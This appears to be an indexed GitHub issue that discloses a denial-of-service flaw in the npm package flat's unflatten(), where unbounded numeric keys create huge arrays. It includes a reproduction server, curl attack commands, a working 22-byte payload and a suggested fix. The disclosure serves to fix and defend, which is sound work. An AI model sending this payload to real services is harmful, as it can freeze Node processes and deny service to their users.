Unbounded Array Allocation via Numeric Keys in unflatten()
- Dominant language
- JavaScript
- Stars
- 1.8k
- Forks
- 197
- PR merge metrics
- No merged PRs in 30d
Description
## Unbounded Array Allocation via Numeric Keys in unflatten()
**Affected:** flat v6.0.1 (npm); root cause present since numeric-key handling was introduced in `getkey()`/`unflatten()` — not a regression in this release
**Severity:** High (CVSS 3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
**CWE:** CWE-770 (Allocation of Resources Without Limits or Throttling)
## Overview
While auditing `flat`'s `unflatten()` for prototype pollution (its documented historical CVE class), I noticed `getkey()` converts any bare numeric-string path segment directly into a JS `Number` with no upper bound, and that number is then used as an array index. A key like `a.4294967294` makes `unflatten()` return an array whose `.length` is 4,294,967,295. I wired this into a small settings API built the same way the README suggests, sent a single 22‑byte POST request, and watched the Node process lock up — health checks from other clients received no response.
## Root Cause
`getkey()` (index.js:65–75) only rejects non-numeric strings and dotted segments — it applies no ceiling to the numeric value:
````javascript
function getkey (key) {
const parsedKey = Number(key)
return (
isNaN(parsedKey) ||
key.indexOf('.') !== -1 ||
opts.object
)
? key
: parsedKey
}
````
That unbounded number flows straight into the array-creation branch (index.js:136–142):
````javascript
recipient[key1] = (
typeof key2 === 'number' &&
!opts.object
? []
: {}
)
````
JS arrays auto-extend `.length` to `index + 1` for any assignment at a legal index (up to `2**32 - 2`). Nothing here checks how large that index is before letting it define the array's length. `qs` had this bug years ago and introduced a default `arrayLimit: 20`; `flat` never added an equivalent guard, even though `flatten()` exposes `maxDepth`, indicating the author is otherwise amenable to bounding attacker-controlled structure size.
The array itself is cheap to allocate — V8 stores it sparsely, so `unflatten()` returns quickly. The cost hits whoever iterates the array afterward: `forEach`, `map`, `for...of`, spread, or a classic `for` loop must probe every index from 0 to `length - 1` per spec. `Object.keys()`-based iteration is safe because V8 only returns indices that actually exist, but typical array iteration patterns are vulnerable.
## Reproduction
Fresh install, straight from the registry:
````bash
mkdir flat_repro && cd flat_repro
npm init -y
npm install flat@6.0.1
````
`server.mjs` — a settings API matching the README examples (dot-notation keys, `unflatten()`, then a normal loop over any array-valued setting):
````javascript
import http from 'node:http'
import { unflatten } from 'flat'
const server = http.createServer((req, res) => {
if (req.method === 'GET' && req.url === '/health') {
res.writeHead(200); res.end('ok'); return
}
if (req.method === 'POST' && req.url === '/settings') {
let body = ''
req.on('data', chunk => { body += chunk })
req.on('end', () => {
const settings = unflatten(JSON.parse(body))
for (const key of Object.keys(settings)) {
if (Array.isArray(settings[key])) {
settings[key].forEach(v => { /* validate each entry */ })
}
}
res.writeHead(200); res.end(JSON.stringify({ ok: true }))
})
}
})
server.listen(3000)
````
Attack steps:
````bash
node server.mjs &
# baseline
curl -s -o /dev/null -w "%{time_total}s\n" http://127.0.0.1:3000/health
# attack: one POST, 22 bytes
curl -s -X POST http://127.0.0.1:3000/settings \
-H 'Content-Type: application/json' \
-d '{"a.4294967294":"x"}' &
# concurrent health check from another client
curl -s -o /dev/null -m 15 -w "%{time_total}s %{http_code}\n" http://127.0.0.1:3000/health
````
## Result
Baseline health checks:
```
health check 0.005251s
health check 0.001215s
health check 0.001135s
```
After sending the 22‑byte payload, a concurrent health check timed out:
```
=== firing malicious POST /settings (22-byte payload) in background ===
attack curl pid: 13006
=== immediately after, GET /health from a different concurrent client ===
health check during attack: http_code=000 time=15.004512s
```
`http_code=000` — curl never received a response within the 15s timeout. A second health check ~40s into the attack also timed out. `ps` showed the server pegged at ~99% CPU:
```
PID ELAPSED %CPU COMMAND
12979 00:53 98.8 node server.mjs
```
The attack request never completed; I killed the process. Iterating an array with length ~4.29 billion non-existent indices burns CPU indefinitely.
## Impact
A single 22‑byte request from an unauthenticated client can freeze the entire Node process for as long as the attacker-chosen array length takes to iterate — tunable up to effectively permanent denial of service. Because Node is single-threaded, every other request on that process is blocked until the process is killed and restarted. This is not memory exhaustion or a crash — the process remains alive at ~100% CPU but stops serving requests. Any app that calls `unflatten()` on external input and then iterates the result normally (not via `Object.keys()`) is exposed; default options are sufficient — no special `opts.object`/`opts.safe` required.
## Suggested Fix
Cap the numeric key before it can define an array length, similar to `qs`'s `arrayLimit`:
````javascript
function getkey (key) {
const parsedKey = Number(key)
return (
isNaN(parsedKey) ||
key.indexOf('.') !== -1 ||
opts.object ||
parsedKey > (opts.arrayLimit ?? 1000)
)
? key
: parsedKey
}
````
Workaround until patched: call `unflatten()` with `{ object: true }` whenever the input isn't fully trusted.
Contributor guide
No contributing guide indexed for this repository
Research direction
Start in index.js at getkey() around lines 65–75, then trace how its numeric result reaches the array-creation branch around lines 136–142. Run the supplied server.mjs reproduction with the large numeric key, add a bounded handling rule, and verify that the request no longer creates an effectively unbounded array while ordinary unflatten() settings still work.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- javascript
- Domain
- security
- Issue type
- Bug
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 78/100